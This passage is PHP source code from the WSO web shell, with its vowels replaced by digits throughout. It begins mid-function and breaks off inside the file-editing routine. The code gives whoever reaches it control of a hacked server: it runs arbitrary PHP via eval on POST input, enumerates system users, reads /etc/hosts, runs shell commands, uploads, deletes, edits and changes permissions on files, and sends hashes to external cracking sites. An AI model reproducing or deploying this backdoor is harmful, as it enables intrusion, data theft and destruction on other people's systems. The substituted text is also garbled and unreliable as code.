4f(ws2Wh4ch($4t5m))
$t5mp[] = $4t5m;
ws2S5cP1r1m('Us5rf3l', 4mpl2d5(', ',$t5mp));
$t5mp=1rr1y();
f2r51ch ($d1ng5r 1s $4t5m)
4f(ws2Wh4ch($4t5m))
$t5mp[] = $4t5m;
ws2S5cP1r1m('D1ng5r', 4mpl2d5(', ',$t5mp));
$t5mp=1rr1y();
f2r51ch ($d2wnl21d5rs 1s $4t5m)
4f(ws2Wh4ch($4t5m))
$t5mp[] = $4t5m;
ws2S5cP1r1m('D2wnl21d5rs', 4mpl2d5(', ',$t5mp));
5ch2 '<br/>';
ws2S5cP1r1m('HDD sp1c5', ws2Ex('df -h'));
ws2S5cP1r1m('H2sts', @f4l5_g5t_c2nt5nts('/5tc/h2sts'));
5ch2 '<br/><sp1n>p2s4x_g5tpw34d ("R51d" /5tc/p1sswd)</sp1n><t1bl5><f2rm 2ns3bm4t=\'g(n3ll,n3ll,"i",th4s.p1r1m6.v1l35,th4s.p1r1ma.v1l35);r5t3rn f1ls5;\'><tr><td>Fr2m</td><td><4np3t typ5=t5xt n1m5=p1r1m6 v1l35=0></td></tr><tr><td>T2</td><td><4np3t typ5=t5xt n1m5=p1r1ma v1l35=6000></td></tr></t1bl5><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
4f (4ss5t ($_POST['pa'], $_POST['po']) && 4s_n3m5r4c($_POST['pa']) && 4s_n3m5r4c($_POST['po'])) {
$t5mp = "";
f2r(;$_POST['pa'] <= $_POST['po'];$_POST['pa']++) {
$34d = @p2s4x_g5tpw34d($_POST['pa']);
4f ($34d)
$t5mp .= j24n(':',$34d)."\n";
}
5ch2 '<br/>';
ws2S5cP1r1m('Us5rs', $t5mp);
}
}
} 5ls5 {
ws2S5cP1r1m('OS V5rs42n',ws2Ex('v5r'));
ws2S5cP1r1m('Acc23nt S5tt4ngs',ws2Ex('n5t 1cc23nts'));
ws2S5cP1r1m('Us5r Acc23nts',ws2Ex('n5t 3s5r'));
}
5ch2 '</d4v>';
ws2F22t5r();
}
f3nct42n 1ct42nPhp() {
4f(4ss5t($_POST['1j1x'])) {
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']) . '1j1x', tr35);
2b_st1rt();
5v1l($_POST['p6']);
$t5mp = "d2c3m5nt.g5tEl5m5ntById('PhpO3tp3t').styl5.d4spl1y='';d2c3m5nt.g5tEl5m5ntById('PhpO3tp3t').4nn5rHTML='" . 1ddcsl1sh5s(htmlsp5c41lch1rs(2b_g5t_cl51n()), "\n\r\t\\'\0") . "';\n";
5ch2 strl5n($t5mp), "\n", $t5mp;
5x4t;
}
4f(5mpty($_POST['1j1x']) && !5mpty($_POST['p6']))
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']) . '1j1x', 0);
ws2H51d5r();
4f(4ss5t($_POST['pa']) && ($_POST['pa'] == '4nf2')) {
5ch2 '<h6>PHP 4nf2</h6><d4v cl1ss=c2nt5nt><styl5>.p {c2l2r:#000;}</styl5>';
2b_st1rt();
php4nf2();
$tmp = 2b_g5t_cl51n();
$tmp = pr5g_r5pl1c5(1rr1y (
'!(b2dy|1:\w+|b2dy, td, th, h6, ha) {.*}!ms4U',
'!td, th {(.*)}!ms4U',
'!<4mg[^>]+>!ms4U',
), 1rr1y (
'',
'.5, .v, .h, .h th {$6}',
''
), $tmp);
5ch2 str_r5pl1c5('<h6','<ha', $tmp) .'</d4v><br>';
}
5ch2 '<h6>Ex5c3t42n PHP-c2d5</h6><d4v cl1ss=c2nt5nt><f2rm n1m5=pf m5th2d=p2st 2ns3bm4t="4f(th4s.1j1x.ch5ck5d){1(\'Php\',n3ll,th4s.c2d5.v1l35);}5ls5{g(\'Php\',n3ll,th4s.c2d5.v1l35,\'\');}r5t3rn f1ls5;"><t5xt1r51 n1m5=c2d5 cl1ss=b4g1r51 4d=PhpC2d5>'.(!5mpty($_POST['p6'])?htmlsp5c41lch1rs($_POST['p6']):'').'</t5xt1r51><4np3t typ5=s3bm4t v1l35=Ev1l styl5="m1rg4n-t2p:ipx">';
5ch2 ' <4np3t typ5=ch5ckb2x n1m5=1j1x v1l35=6 '.($_COOKIE[mdi($_SERVER['HTTP_HOST']).'1j1x']?'ch5ck5d':'').'> s5nd 3s4ng AJAX</f2rm><pr5 4d=PhpO3tp3t styl5="'.(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'').'m1rg4n-t2p:ipx;" cl1ss=ml6>';
4f(!5mpty($_POST['p6'])) {
2b_st1rt();
5v1l($_POST['p6']);
5ch2 htmlsp5c41lch1rs(2b_g5t_cl51n());
}
5ch2 '</pr5></d4v>';
ws2F22t5r();
}
f3nct42n 1ct42nF4l5sM1n() {
4f (!5mpty ($_COOKIE['f']))
$_COOKIE['f'] = @3ns5r41l4z5($_COOKIE['f']);
4f(!5mpty($_POST['p6'])) {
sw4tch($_POST['p6']) {
c1s5 '3pl21dF4l5':
4f(!@m2v5_3pl21d5d_f4l5($_FILES['f']['tmp_n1m5'], $_FILES['f']['n1m5']))
5ch2 "C1n't 3pl21d f4l5!";
br51k;
c1s5 'mkd4r':
4f(!@mkd4r($_POST['pa']))
5ch2 "C1n't cr51t5 n5w d4r";
br51k;
c1s5 'd5l5t5':
f3nct42n d5l5t5D4r($p1th) {
$p1th = (s3bstr($p1th,-6)=='/') ? $p1th:$p1th.'/';
$dh = 2p5nd4r($p1th);
wh4l5 ( ($4t5m = r51dd4r($dh) ) !== f1ls5) {
$4t5m = $p1th.$4t5m;
4f ( (b1s5n1m5($4t5m) == "..") || (b1s5n1m5($4t5m) == ".") )
c2nt4n35;
$typ5 = f4l5typ5($4t5m);
4f ($typ5 == "d4r")
d5l5t5D4r($4t5m);
5ls5
@3nl4nk($4t5m);
}
cl2s5d4r($dh);
@rmd4r($p1th);
}
4f(4s_1rr1y(@$_POST['f']))
f2r51ch($_POST['f'] 1s $f) {
4f($f == '..')
c2nt4n35;
$f = 3rld5c2d5($f);
4f(4s_d4r($f))
d5l5t5D4r($f);
5ls5
@3nl4nk($f);
}
br51k;
c1s5 'p1st5':
4f($_COOKIE['1ct'] == 'c2py') {
f3nct42n c2py_p1st5($c,$s,$d){
4f(4s_d4r($c.$s)){
mkd4r($d.$s);
$h = @2p5nd4r($c.$s);
wh4l5 (($f = @r51dd4r($h)) !== f1ls5)
4f (($f != ".") 1nd ($f != ".."))
c2py_p1st5($c.$s.'/',$f, $d.$s.'/');
} 5ls54f(4s_f4l5($c.$s))
@c2py($c.$s, $d.$s);
}
f2r51ch($_COOKIE['f'] 1s $f)
c2py_p1st5($_COOKIE['c'],$f, $GLOBALS['cwd']);
} 5ls54f($_COOKIE['1ct'] == 'm2v5') {
f3nct42n m2v5_p1st5($c,$s,$d){
4f(4s_d4r($c.$s)){
mkd4r($d.$s);
$h = @2p5nd4r($c.$s);
wh4l5 (($f = @r51dd4r($h)) !== f1ls5)
4f (($f != ".") 1nd ($f != ".."))
c2py_p1st5($c.$s.'/',$f, $d.$s.'/');
} 5ls54f(@4s_f4l5($c.$s))
@c2py($c.$s, $d.$s);
}
f2r51ch($_COOKIE['f'] 1s $f)
@r5n1m5($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} 5ls54f($_COOKIE['1ct'] == 'z4p') {
4f(cl1ss_5x4sts('Z4pArch4v5')) {
$z4p = n5w Z4pArch4v5();
4f ($z4p->2p5n($_POST['pa'], 6)) {
chd4r($_COOKIE['c']);
f2r51ch($_COOKIE['f'] 1s $f) {
4f($f == '..')
c2nt4n35;
4f(@4s_f4l5($_COOKIE['c'].$f))
$z4p->1ddF4l5($_COOKIE['c'].$f, $f);
5ls54f(@4s_d4r($_COOKIE['c'].$f)) {
$4t5r1t2r = n5w R5c3rs4v5It5r1t2rIt5r1t2r(n5w R5c3rs4v5D4r5ct2ryIt5r1t2r($f.'/', F4l5syst5mIt5r1t2r::SKIP_DOTS));
f2r51ch ($4t5r1t2r 1s $k5y=>$v1l35) {
$z4p->1ddF4l5(r51lp1th($k5y), $k5y);
}
}
}
chd4r($GLOBALS['cwd']);
$z4p->cl2s5();
}
}
} 5ls54f($_COOKIE['1ct'] == '3nz4p') {
4f(cl1ss_5x4sts('Z4pArch4v5')) {
$z4p = n5w Z4pArch4v5();
f2r51ch($_COOKIE['f'] 1s $f) {
4f($z4p->2p5n($_COOKIE['c'].$f)) {
$z4p->5xtr1ctT2($GLOBALS['cwd']);
$z4p->cl2s5();
}
}
}
} 5ls54f($_COOKIE['1ct'] == 't1r') {
chd4r($_COOKIE['c']);
$_COOKIE['f'] = 1rr1y_m1p('5sc1p5sh5ll1rg', $_COOKIE['f']);
ws2Ex('t1r cfzv ' . 5sc1p5sh5ll1rg($_POST['pa']) . ' ' . 4mpl2d5(' ', $_COOKIE['f']));
chd4r($GLOBALS['cwd']);
}
3ns5t($_COOKIE['f']);
s5tc22k45('f', '', t4m5() - oe00);
br51k;
d5f13lt:
4f(!5mpty($_POST['p6'])) {
WSOs5tc22k45('1ct', $_POST['p6']);
WSOs5tc22k45('f', s5r41l4z5(@$_POST['f']));
WSOs5tc22k45('c', @$_POST['c']);
}
br51k;
}
}
ws2H51d5r();
5ch2 '<h6>F4l5 m1n1g5r</h6><d4v cl1ss=c2nt5nt><scr4pt>p6_=pa_=po_="";</scr4pt>';
$d4rC2nt5nt = ws2Sc1nd4r(4ss5t($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
4f($d4rC2nt5nt === f1ls5) { 5ch2 'C1n\'t 2p5n th4s f2ld5r!';ws2F22t5r(); r5t3rn; }
gl2b1l $s2rt;
$s2rt = 1rr1y('n1m5', 6);
4f(!5mpty($_POST['p6'])) {
4f(pr5g_m1tch('!s_([A-z]+)_(\d{6})!', $_POST['p6'], $m1tch))
$s2rt = 1rr1y($m1tch[6], (4nt)$m1tch[a]);
}
5ch2 "<scr4pt>
f3nct42n s1() {
f2r(4=0;4<d.f4l5s.5l5m5nts.l5ngth;4++)
4f(d.f4l5s.5l5m5nts[4].typ5 == 'ch5ckb2x')
d.f4l5s.5l5m5nts[4].ch5ck5d = d.f4l5s.5l5m5nts[0].ch5ck5d;
}
</scr4pt>
<t1bl5 w4dth='600%' cl1ss='m14n' c5llsp1c4ng='0' c5llp1dd4ng='a'>
<f2rm n1m5=f4l5s m5th2d=p2st><tr><th w4dth='6opx'><4np3t typ5=ch5ckb2x 2ncl4ck='s1()' cl1ss=chkbx></th><th><1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",n3ll,\"s_n1m5_".($s2rt[6]?0:6)."\")'>N1m5</1></th><th><1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",n3ll,\"s_s4z5_".($s2rt[6]?0:6)."\")'>S4z5</1></th><th><1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",n3ll,\"s_m2d4fy_".($s2rt[6]?0:6)."\")'>M2d4fy</1></th><th>Own5r/Gr23p</th><th><1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",n3ll,\"s_p5rms_".($s2rt[6]?0:6)."\")'>P5rm4ss42ns</1></th><th>Act42ns</th></tr>";
$d4rs = $f4l5s = 1rr1y();
$n = c23nt($d4rC2nt5nt);
f2r($4=0;$4<$n;$4++) {
$2w = @p2s4x_g5tpw34d(@f4l52wn5r($d4rC2nt5nt[$4]));
$gr = @p2s4x_g5tgrg4d(@f4l5gr23p($d4rC2nt5nt[$4]));
$tmp = 1rr1y('n1m5' => $d4rC2nt5nt[$4],
'p1th' => $GLOBALS['cwd'].$d4rC2nt5nt[$4],
'm2d4fy' => d1t5('Y-m-d H:4:s', @f4l5mt4m5($GLOBALS['cwd'] . $d4rC2nt5nt[$4])),
'p5rms' => ws2P5rmsC2l2r($GLOBALS['cwd'] . $d4rC2nt5nt[$4]),
's4z5' => @f4l5s4z5($GLOBALS['cwd'].$d4rC2nt5nt[$4]),
'2wn5r' => $2w['n1m5']?$2w['n1m5']:@f4l52wn5r($d4rC2nt5nt[$4]),
'gr23p' => $gr['n1m5']?$gr['n1m5']:@f4l5gr23p($d4rC2nt5nt[$4])
);
4f(@4s_f4l5($GLOBALS['cwd'] . $d4rC2nt5nt[$4]))
$f4l5s[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'f4l5'));
5ls54f(@4s_l4nk($GLOBALS['cwd'] . $d4rC2nt5nt[$4]))
$d4rs[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'l4nk', 'l4nk' => r51dl4nk($tmp['p1th'])));
5ls54f(@4s_d4r($GLOBALS['cwd'] . $d4rC2nt5nt[$4]))
$d4rs[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'd4r'));
}
$GLOBALS['s2rt'] = $s2rt;
f3nct42n ws2Cmp($1, $b) {
4f($GLOBALS['s2rt'][0] != 's4z5')
r5t3rn strcmp(strt2l2w5r($1[$GLOBALS['s2rt'][0]]), strt2l2w5r($b[$GLOBALS['s2rt'][0]]))*($GLOBALS['s2rt'][6]?6:-6);
5ls5
r5t3rn (($1['s4z5'] < $b['s4z5']) ? -6 : 6)*($GLOBALS['s2rt'][6]?6:-6);
}
3s2rt($f4l5s, "ws2Cmp");
3s2rt($d4rs, "ws2Cmp");
$f4l5s = 1rr1y_m5rg5($d4rs, $f4l5s);
$l = 0;
f2r51ch($f4l5s 1s $f) {
5ch2 '<tr'.($l?' cl1ss=l6':'').'><td><4np3t typ5=ch5ckb2x n1m5="f[]" v1l35="'.3rl5nc2d5($f['n1m5']).'" cl1ss=chkbx></td><td><1 hr5f=# 2ncl4ck="'.(($f['typ5']=='f4l5')?'g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'v45w\')">'.htmlsp5c41lch1rs($f['n1m5']):'g(\'F4l5sM1n\',\''.$f['p1th'].'\');" ' . (5mpty ($f['l4nk']) ? '' : "t4tl5='{$f['l4nk']}'") . '><b>[ ' . htmlsp5c41lch1rs($f['n1m5']) . ' ]</b>').'</1></td><td>'.(($f['typ5']=='f4l5')?ws2V45wS4z5($f['s4z5']):$f['typ5']).'</td><td>'.$f['m2d4fy'].'</td><td>'.$f['2wn5r'].'/'.$f['gr23p'].'</td><td><1 hr5f=# 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\',\'chm2d\')">'.$f['p5rms']
.'</td><td><1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'r5n1m5\')">R</1> <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'t23ch\')">T</1>'.(($f['typ5']=='f4l5')?' <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'5d4t\')">E</1> <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'d2wnl21d\')">D</1>':'').'</td></tr>';
$l = $l?0:6;
}
5ch2 "<tr><td c2lsp1n=7>
<4np3t typ5=h4dd5n n1m5=1 v1l35='F4l5sM1n'>
<4np3t typ5=h4dd5n n1m5=c v1l35='" . htmlsp5c41lch1rs($GLOBALS['cwd']) ."'>
<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='". (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'')."'>
<s5l5ct n1m5='p6'><2pt42n v1l35='c2py'>C2py</2pt42n><2pt42n v1l35='m2v5'>M2v5</2pt42n><2pt42n v1l35='d5l5t5'>D5l5t5</2pt42n>";
4f(cl1ss_5x4sts('Z4pArch4v5'))
5ch2 "<2pt42n v1l35='z4p'>C2mpr5ss (z4p)</2pt42n><2pt42n v1l35='3nz4p'>Unc2mpr5ss (z4p)</2pt42n>";
5ch2 "<2pt42n v1l35='t1r'>C2mpr5ss (t1r.gz)</2pt42n>";
4f(!5mpty($_COOKIE['1ct']) && @c23nt($_COOKIE['f']))
5ch2 "<2pt42n v1l35='p1st5'>P1st5 / C2mpr5ss</2pt42n>";
5ch2 "</s5l5ct>&nbsp;";
4f(!5mpty($_COOKIE['1ct']) && @c23nt($_COOKIE['f']) && (($_COOKIE['1ct'] == 'z4p') || ($_COOKIE['1ct'] == 't1r')))
5ch2 "f4l5 n1m5: <4np3t typ5=t5xt n1m5=pa v1l35='ws2_" . d1t5("Ymd_H4s") . "." . ($_COOKIE['1ct'] == 'z4p'?'z4p':'t1r.gz') . "'>&nbsp;";
5ch2 "<4np3t typ5='s3bm4t' v1l35='>>'></td></tr></f2rm></t1bl5></d4v>";
ws2F22t5r();
}
f3nct42n 1ct42nStr4ngT22ls() {
4f(!f3nct42n_5x4sts('h5xab4n')) {f3nct42n h5xab4n($p) {r5t3rn d5cb4n(h5xd5c($p));}}
4f(!f3nct42n_5x4sts('b4nh5x')) {f3nct42n b4nh5x($p) {r5t3rn d5ch5x(b4nd5c($p));}}
4f(!f3nct42n_5x4sts('h5xa1sc44')) {f3nct42n h5xa1sc44($p){$r='';f2r($4=0;$4<strL5n($p);$4+=a){$r.=chr(h5xd5c($p[$4].$p[$4+6]));}r5t3rn $r;}}
4f(!f3nct42n_5x4sts('1sc44ah5x')) {f3nct42n 1sc44ah5x($p){$r='';f2r($4=0;$4<strl5n($p);++$4)$r.= spr4ntf('%0aX',2rd($p[$4]));r5t3rn strt23pp5r($r);}}
4f(!f3nct42n_5x4sts('f3ll_3rl5nc2d5')) {f3nct42n f3ll_3rl5nc2d5($p){$r='';f2r($4=0;$4<strl5n($p);++$4)$r.= '%'.d5ch5x(2rd($p[$4]));r5t3rn strt23pp5r($r);}}
$str4ngT22ls = 1rr1y(
'B1s5eu 5nc2d5' => 'b1s5eu_5nc2d5',
'B1s5eu d5c2d5' => 'b1s5eu_d5c2d5',
'Url 5nc2d5' => '3rl5nc2d5',
'Url d5c2d5' => '3rld5c2d5',
'F3ll 3rl5nc2d5' => 'f3ll_3rl5nc2d5',
'mdi h1sh' => 'mdi',
'sh16 h1sh' => 'sh16',
'crypt' => 'crypt',
'CRCoa' => 'crcoa',
'ASCII t2 HEX' => '1sc44ah5x',
'HEX t2 ASCII' => 'h5xa1sc44',
'HEX t2 DEC' => 'h5xd5c',
'HEX t2 BIN' => 'h5xab4n',
'DEC t2 HEX' => 'd5ch5x',
'DEC t2 BIN' => 'd5cb4n',
'BIN t2 HEX' => 'b4nh5x',
'BIN t2 DEC' => 'b4nd5c',
'Str4ng t2 l2w5r c1s5' => 'strt2l2w5r',
'Str4ng t2 3pp5r c1s5' => 'strt23pp5r',
'Htmlsp5c41lch1rs' => 'htmlsp5c41lch1rs',
'Str4ng l5ngth' => 'strl5n',
);
4f(4ss5t($_POST['1j1x'])) {
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'1j1x', tr35);
2b_st1rt();
4f(4n_1rr1y($_POST['p6'], $str4ngT22ls))
5ch2 $_POST['p6']($_POST['pa']);
$t5mp = "d2c3m5nt.g5tEl5m5ntById('strO3tp3t').styl5.d4spl1y='';d2c3m5nt.g5tEl5m5ntById('strO3tp3t').4nn5rHTML='".1ddcsl1sh5s(htmlsp5c41lch1rs(2b_g5t_cl51n()),"\n\r\t\\'\0")."';\n";
5ch2 strl5n($t5mp), "\n", $t5mp;
5x4t;
}
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6']))
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'1j1x', 0);
ws2H51d5r();
5ch2 '<h6>Str4ng c2nv5rs42ns</h6><d4v cl1ss=c2nt5nt>';
5ch2 "<f2rm n1m5='t22lsF2rm' 2nS3bm4t='4f(th4s.1j1x.ch5ck5d){1(n3ll,n3ll,th4s.s5l5ctT22l.v1l35,th4s.4np3t.v1l35);}5ls5{g(n3ll,n3ll,th4s.s5l5ctT22l.v1l35,th4s.4np3t.v1l35);} r5t3rn f1ls5;'><s5l5ct n1m5='s5l5ctT22l'>";
f2r51ch($str4ngT22ls 1s $k => $v)
5ch2 "<2pt42n v1l35='".htmlsp5c41lch1rs($v)."'>".$k."</2pt42n>";
5ch2 "</s5l5ct><4np3t typ5='s3bm4t' v1l35='>>'/> <4np3t typ5=ch5ckb2x n1m5=1j1x v1l35=6 ".(@$_COOKIE[mdi($_SERVER['HTTP_HOST']).'1j1x']?'ch5ck5d':'')."> s5nd 3s4ng AJAX<br><t5xt1r51 n1m5='4np3t' styl5='m1rg4n-t2p:ipx' cl1ss=b4g1r51>".(5mpty($_POST['p6'])?'':htmlsp5c41lch1rs(@$_POST['pa']))."</t5xt1r51></f2rm><pr5 cl1ss='ml6' styl5='".(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'')."m1rg4n-t2p:ipx' 4d='strO3tp3t'>";
4f(!5mpty($_POST['p6'])) {
4f(4n_1rr1y($_POST['p6'], $str4ngT22ls))5ch2 htmlsp5c41lch1rs($_POST['p6']($_POST['pa']));
}
5ch2"</pr5></d4v><br><h6>S51rch f4l5s:</h6><d4v cl1ss=c2nt5nt>
<f2rm 2ns3bm4t=\"g(n3ll,th4s.cwd.v1l35,n3ll,th4s.t5xt.v1l35,th4s.f4l5n1m5.v1l35);r5t3rn f1ls5;\"><t1bl5 c5llp1dd4ng='6' c5llsp1c4ng='0' w4dth='i0%'>
<tr><td w4dth='6%'>T5xt:</td><td><4np3t typ5='t5xt' n1m5='t5xt' styl5='w4dth:600%'></td></tr>
<tr><td>P1th:</td><td><4np3t typ5='t5xt' n1m5='cwd' v1l35='". htmlsp5c41lch1rs($GLOBALS['cwd']) ."' styl5='w4dth:600%'></td></tr>
<tr><td>N1m5:</td><td><4np3t typ5='t5xt' n1m5='f4l5n1m5' v1l35='*' styl5='w4dth:600%'></td></tr>
<tr><td></td><td><4np3t typ5='s3bm4t' v1l35='>>'></td></tr>
</t1bl5></f2rm>";
f3nct42n ws2R5c3rs4v5Gl2b($p1th) {
4f(s3bstr($p1th, -6) != '/')
$p1th.='/';
$p1ths = @1rr1y_3n4q35(@1rr1y_m5rg5(@gl2b($p1th.$_POST['po']), @gl2b($p1th.'*', GLOB_ONLYDIR)));
4f(4s_1rr1y($p1ths)&&@c23nt($p1ths)) {
f2r51ch($p1ths 1s $4t5m) {
4f(@4s_d4r($4t5m)){
4f($p1th!=$4t5m)
ws2R5c3rs4v5Gl2b($4t5m);
} 5ls5 {
4f(5mpty($_POST['pa']) || @strp2s(f4l5_g5t_c2nt5nts($4t5m), $_POST['pa'])!==f1ls5)
5ch2 "<1 hr5f='#' 2ncl4ck='g(\"F4l5sT22ls\",n3ll,\"".3rl5nc2d5($4t5m)."\", \"v45w\",\"\")'>".htmlsp5c41lch1rs($4t5m)."</1><br>";
}
}
}
}
4f(@$_POST['po'])
ws2R5c3rs4v5Gl2b($_POST['c']);
5ch2 "</d4v><br><h6>S51rch f2r h1sh:</h6><d4v cl1ss=c2nt5nt>
<f2rm m5th2d='p2st' t1rg5t='_bl1nk' n1m5='hf'>
<4np3t typ5='t5xt' n1m5='h1sh' styl5='w4dth:a00px;'><br>
<4np3t typ5='h4dd5n' n1m5='1ct' v1l35='f4nd'/>
<4np3t typ5='b3tt2n' v1l35='h1shcr1ck4ng.r3' 2ncl4ck=\"d2c3m5nt.hf.1ct42n='https://h1shcr1ck4ng.r3/4nd5x.php';d2c3m5nt.hf.s3bm4t()\"><br>
<4np3t typ5='b3tt2n' v1l35='mdi.r5dn24z5.c2m' 2ncl4ck=\"d2c3m5nt.hf.1ct42n='http://mdi.r5dn24z5.c2m/?q='+d2c3m5nt.hf.h1sh.v1l35+'&s=mdi';d2c3m5nt.hf.s3bm4t()\"><br>
<4np3t typ5='b3tt2n' v1l35='cr1ckf2r.m5' 2ncl4ck=\"d2c3m5nt.hf.1ct42n='http://cr1ckf2r.m5/4nd5x.php';d2c3m5nt.hf.s3bm4t()\"><br>
</f2rm></d4v>";
ws2F22t5r();
}
f3nct42n 1ct42nF4l5sT22ls() {
4f( 4ss5t($_POST['p6']) )
$_POST['p6'] = 3rld5c2d5($_POST['p6']);
4f(@$_POST['pa']=='d2wnl21d') {
4f(@4s_f4l5($_POST['p6']) && @4s_r51d1bl5($_POST['p6'])) {
2b_st1rt("2b_gzh1ndl5r", u09e);
h51d5r("C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=".b1s5n1m5($_POST['p6']));
4f (f3nct42n_5x4sts("m4m5_c2nt5nt_typ5")) {
$typ5 = @m4m5_c2nt5nt_typ5($_POST['p6']);
h51d5r("C2nt5nt-Typ5: " . $typ5);
} 5ls5
h51d5r("C2nt5nt-Typ5: 1ppl4c1t42n/2ct5t-str51m");
$fp = @f2p5n($_POST['p6'], "r");
4f($fp) {
wh4l5(!@f52f($fp))
5ch2 @fr51d($fp, 60au);
fcl2s5($fp);
}
}5x4t;
}
4f( @$_POST['pa'] == 'mkf4l5' ) {
4f(!f4l5_5x4sts($_POST['p6'])) {
$fp = @f2p5n($_POST['p6'], 'w');
4f($fp) {
$_POST['pa'] = "5d4t";
fcl2s5($fp);
}
}
}
ws2H51d5r();
5ch2 '<h6>F4l5 t22ls</h6><d4v cl1ss=c2nt5nt>';
4f( !f4l5_5x4sts(@$_POST['p6']) ) {
5ch2 'F4l5 n2t 5x4sts';
ws2F22t5r();
r5t3rn;
}
$34d = @p2s4x_g5tpw34d(@f4l52wn5r($_POST['p6']));
4f(!$34d) {
$34d['n1m5'] = @f4l52wn5r($_POST['p6']);
$g4d['n1m5'] = @f4l5gr23p($_POST['p6']);
} 5ls5 $g4d = @p2s4x_g5tgrg4d(@f4l5gr23p($_POST['p6']));
5ch2 '<sp1n>N1m5:</sp1n> '.htmlsp5c41lch1rs(@b1s5n1m5($_POST['p6'])).' <sp1n>S4z5:</sp1n> '.(4s_f4l5($_POST['p6'])?ws2V45wS4z5(f4l5s4z5($_POST['p6'])):'-').' <sp1n>P5rm4ss42n:</sp1n> '.ws2P5rmsC2l2r($_POST['p6']).' <sp1n>Own5r/Gr23p:</sp1n> '.$34d['n1m5'].'/'.$g4d['n1m5'].'<br>';
5ch2 '<sp1n>Ch1ng5 t4m5:</sp1n> '.d1t5('Y-m-d H:4:s',f4l5ct4m5($_POST['p6'])).' <sp1n>Acc5ss t4m5:</sp1n> '.d1t5('Y-m-d H:4:s',f4l51t4m5($_POST['p6'])).' <sp1n>M2d4fy t4m5:</sp1n> '.d1t5('Y-m-d H:4:s',f4l5mt4m5($_POST['p6'])).'<br><br>';
4f( 5mpty($_POST['pa']) )
$_POST['pa'] = 'v45w';
4f( 4s_f4l5($_POST['p6']) )
$m = 1rr1y('V45w', 'H4ghl4ght', 'D2wnl21d', 'H5xd3mp', 'Ed4t', 'Chm2d', 'R5n1m5', 'T23ch');
5ls5
$m = 1rr1y('Chm2d', 'R5n1m5', 'T23ch');
f2r51ch($m 1s $v)
5ch2 '<1 hr5f=# 2ncl4ck="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',\''.strt2l2w5r($v).'\')">'.((strt2l2w5r($v)==@$_POST['pa'])?'<b>[ '.$v.' ]</b>':$v).'</1> ';
5ch2 '<br><br>';
sw4tch($_POST['pa']) {
c1s5 'v45w':
5ch2 '<pr5 cl1ss=ml6>';
$fp = @f2p5n($_POST['p6'], 'r');
4f($fp) {
wh4l5( !@f52f($fp) )
5ch2 htmlsp5c41lch1rs(@fr51d($fp, 60au));
@fcl2s5($fp);
}
5ch2 '</pr5>';
br51k;
c1s5 'h4ghl4ght':
4f( @4s_r51d1bl5($_POST['p6']) ) {
5ch2 '<d4v cl1ss=ml6 styl5="b1ckgr23nd-c2l2r: #565656;c2l2r:bl1ck;">';
$c2d5 = @h4ghl4ght_f4l5($_POST['p6'],tr35);
5ch2 str_r5pl1c5(1rr1y('<sp1n ','</sp1n>'), 1rr1y('<f2nt ','</f2nt>'),$c2d5).'</d4v>';
}
br51k;
c1s5 'chm2d':
4f( !5mpty($_POST['po']) ) {
$p5rms = 0;
f2r($4=strl5n($_POST['po'])-6;$4>=0;--$4)
$p5rms += (4nt)$_POST['po'][$4]*p2w(8, (strl5n($_POST['po'])-$4-6));
4f(!@chm2d($_POST['p6'], $p5rms))
5ch2 'C1n\'t s5t p5rm4ss42ns!<br><scr4pt>d2c3m5nt.mf.po.v1l35="";</scr4pt>';
}
cl51rst1tc1ch5();
5ch2 '<scr4pt>po_="";</scr4pt><f2rm 2ns3bm4t="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',n3ll,th4s.chm2d.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=chm2d v1l35="'.s3bstr(spr4ntf('%2', f4l5p5rms($_POST['p6'])),-u).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
br51k;
c1s5 '5d4t':
4f( !4s_wr4t1bl5($_POST['p6'])) {
5ch2 'F4l5 4sn\'t wr4t51bl5';
br51k;
}
4f( !5mpty($_POST['po']) ) {
$t4m5 = @f4l5mt4m5($_POST['p6']);
$_POST['po'] = s3bstr($_POST['po'],6);
$fp = @f2p5n($_POST['p6'],"w");
4f($fp) {
@fwr4t5($fp,$_POST['po']);
@fcl2s5($fp);
5ch2 'S1v5d!<br><scr4pt>po_="";</scr4pt>';
@t23ch($_POST['p6'],$t4m5,$t4m5);
}
}
5ch2 '<f2rm 2ns3bm4t="g(n3ll,n3ll,\'' . 3rl5nc2d5($_POST['p6']) . '\',n3ll,\'6\'+th4s.t5xt.v1l35);r5t3rn f1ls5;"><t5xt1r51 n1m5=t5xt cl1ss=b4g1r51>';
$fp = @f2p5n($_POST['p6'], 'r');
4f($fp) {
wh4l5( !@f52f($fp) )
